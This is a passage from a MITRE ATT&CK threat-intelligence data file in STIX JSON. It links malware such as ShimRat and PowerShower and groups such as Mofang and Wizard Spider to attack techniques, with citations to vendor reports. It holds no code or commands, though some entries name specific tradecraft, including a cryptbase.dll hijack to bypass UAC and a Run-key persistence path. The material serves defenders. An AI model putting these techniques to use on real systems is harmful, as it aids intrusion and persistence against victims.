                    "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/",
                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
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                }
            ],
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                }
            ],
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                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has used 7Zip to compress .txt, .pdf, .xls or .doc files prior to exfiltration.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has the ability to deploy a reconnaissance module to retrieve a list of the active processes.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
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                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
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                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has the ability to encode C2 communications with base64 encoding.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)",
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                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
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                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
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                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
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            "description": "(Citation: CrowdStrike Grim Spider May 2019)(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
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                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
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                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "Sophos New Ryuk Attack October 2020",
                    "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/",
                    "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."
                }
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                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
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                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                }
            ],
            "description": "(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
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                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                },
                {
                    "source_name": "Sophos New Ryuk Attack October 2020",
                    "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/",
                    "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."
                }
            ],
            "description": "(Citation: CrowdStrike Grim Spider May 2019)(Citation: Sophos New Ryuk Attack October 2020)",
            "relationship_type": "uses",
            "id": "relationship--8263754e-20a6-49ac-9ffb-3f0e9113b228",
            "type": "relationship",
            "modified": "2020-11-10T18:04:03.780Z",
            "created": "2020-05-12T18:25:44.532Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                },
                {
                    "source_name": "Red Canary Hospital Thwarted Ryuk October 2020",
                    "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ",
                    "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either [Emotet](https://attack.mitre.org/software/S0367), Bokbot, [TrickBot](https://attack.mitre.org/software/S0266), or Bazar.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)",
            "relationship_type": "uses",
            "id": "relationship--c671056c-f213-4084-9e9e-3361274ceb80",
            "type": "relationship",
            "modified": "2020-11-10T17:06:02.445Z",
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        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) encrypted gathered information with a combination of shifting and XOR using a static key.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--ed1cb231-7e2d-461c-a9c8-56a2d1f43c0f",
            "type": "relationship",
            "modified": "2020-05-15T18:47:04.312Z",
            "created": "2020-05-12T21:44:40.839Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) listed all non-privileged and privileged accounts available on the machine.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--52741f41-28c6-4533-bd26-6dc21f6b0794",
            "type": "relationship",
            "modified": "2020-05-15T18:47:04.358Z",
            "created": "2020-05-12T21:44:40.843Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) listed all running processes on the machine.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--f6ac9b3a-9a1f-40be-b541-bcdb8aac6845",
            "type": "relationship",
            "modified": "2020-05-15T18:47:04.357Z",
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        },
        {
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            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered the operating system name and specific Windows version of an infected machine.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--c62b3e99-4ab2-4474-b3f7-2779652210f7",
            "type": "relationship",
            "modified": "2020-05-15T18:47:04.395Z",
            "created": "2020-05-12T21:44:40.900Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) communicated over HTTP with preconfigured C2 servers.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--e29d49a0-7cbf-47a2-b01a-d27056627c81",
            "type": "relationship",
            "modified": "2020-05-12T21:44:40.902Z",
            "created": "2020-05-12T21:44:40.902Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) had the ability to download additional payloads.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--137f13ee-0607-47ba-952b-dbe39c1330bb",
            "type": "relationship",
            "modified": "2020-05-12T21:44:40.904Z",
            "created": "2020-05-12T21:44:40.904Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) spoofed itself as <code>AlphaZawgyl_font.exe</code>, a specialized Unicode font.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--772a4f4f-459d-411f-a8e9-2c453274f684",
            "type": "relationship",
            "modified": "2020-05-27T22:39:28.858Z",
            "created": "2020-05-12T21:44:40.918Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) sent collected system and network information compiled into a report to an adversary-controlled C2.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--d894e46e-1967-4499-83d5-626a8e49a97a",
            "type": "relationship",
            "modified": "2020-05-15T18:47:04.423Z",
            "created": "2020-05-12T21:44:41.002Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered information automatically, without instruction from a C2, related to the user and host machine that is compiled into a report and sent to the operators.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--f47a9039-b5c0-49e5-9998-2820b075643f",
            "type": "relationship",
            "modified": "2020-05-15T18:47:04.386Z",
            "created": "2020-05-12T21:44:41.005Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered the local privileges for the infected host.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--c403720d-da66-45c4-bb35-93b3b35c87c3",
            "type": "relationship",
            "modified": "2020-05-15T18:47:04.393Z",
            "created": "2020-05-12T21:44:41.012Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered the local proxy, domain, IP, routing tables, mac address, gateway, DNS servers, and DHCP status information from an infected host.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--c3e022e8-5759-4d38-8536-adaf9e952717",
            "type": "relationship",
            "modified": "2020-05-15T18:47:04.430Z",
            "created": "2020-05-12T21:44:41.016Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered a list of installed software on the infected host.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--222ce94a-bb33-476b-b4c3-56b529d9af03",
            "type": "relationship",
            "modified": "2020-05-15T18:47:04.397Z",
            "created": "2020-05-12T21:44:41.020Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) can use pre-configured HTTP proxies.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--0d1314fe-7fd6-4816-abb8-4b9872478807",
            "type": "relationship",
            "modified": "2020-05-12T21:56:32.904Z",
            "created": "2020-05-12T21:56:32.904Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) can uninstall itself from compromised hosts, as well create and modify directories, delete, move, copy, and rename files.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--7288054b-0679-497a-b4c5-090801b06941",
            "type": "relationship",
            "modified": "2020-05-27T23:35:41.300Z",
            "created": "2020-05-12T21:56:32.909Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) can download additional files.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--0177d430-a0b9-4f2f-8c66-8dfa4391611a",
            "type": "relationship",
            "modified": "2020-05-27T23:35:41.302Z",
            "created": "2020-05-12T21:56:32.975Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) can list directories.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--ec095867-cb54-4fcf-b2c7-00e805bf7500",
            "type": "relationship",
            "modified": "2020-05-27T23:35:41.298Z",
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        },
        {
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            "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) can enumerate connected drives for infected host machines.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--d2ef2109-c65f-452b-bb5b-dd06d1b16602",
            "type": "relationship",
            "modified": "2020-05-27T23:35:41.301Z",
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        },
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            ],
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            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) has hijacked the cryptbase.dll within migwiz.exe to escalate privileges. This prevented the User Access Control window from appearing.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--4439e86a-de1d-4ea6-a856-858b799bcdc5",
            "type": "relationship",
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        },
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            ],
            "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) has installed shim databases in the <code>AppPatch</code> folder.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--9ec20e7b-8996-4f16-b830-1f8a0e99b778",
            "type": "relationship",
            "modified": "2020-05-27T23:35:41.400Z",
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        },
        {
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            ],
            "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) has installed a Windows service to maintain persistence on victim machines.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--caa8b50b-67ab-4de4-b61a-ab89ea8a2e9b",
            "type": "relationship",
            "modified": "2020-05-27T23:35:41.401Z",
            "created": "2020-05-12T21:56:33.022Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) has installed a registry based start-up key <code>HKCU\\Software\\microsoft\\windows\\CurrentVersion\\Run</code> to maintain persistence should other methods fail.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--6435caf7-2493-4cfb-9ddc-2f672c220251",
            "type": "relationship",
            "modified": "2020-05-27T23:28:38.270Z",
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        },
        {
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            ],
            "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) communicated over HTTP and HTTPS with C2 servers.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--80a14bfe-6bf6-4f87-8ae1-5085505656f2",
            "type": "relationship",
            "modified": "2020-05-12T21:56:33.057Z",
            "created": "2020-05-12T21:56:33.057Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[Mofang](https://attack.mitre.org/groups/G0103) has compressed the [ShimRat](https://attack.mitre.org/software/S0444) executable within malicious email attachments. [Mofang](https://attack.mitre.org/groups/G0103) has also encrypted payloads before they are downloaded to victims.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--8ba71919-c776-4e1b-ad71-160649060d3e",
            "type": "relationship",
            "modified": "2020-05-15T18:20:15.802Z",
            "created": "2020-05-12T22:05:50.738Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[Mofang](https://attack.mitre.org/groups/G0103)'s malicious spearphishing attachments required a user to open the file after receiving.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--b91c4f2d-8f21-46e9-a012-967436018eea",
            "type": "relationship",
            "modified": "2020-05-12T22:05:50.740Z",
            "created": "2020-05-12T22:05:50.740Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[Mofang](https://attack.mitre.org/groups/G0103) delivered spearphishing emails with malicious documents, PDFs, or Excel files attached.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--7b4af425-27a6-4330-85e2-d8d03911d923",
            "type": "relationship",
            "modified": "2020-05-12T22:05:50.745Z",
            "created": "2020-05-12T22:05:50.745Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
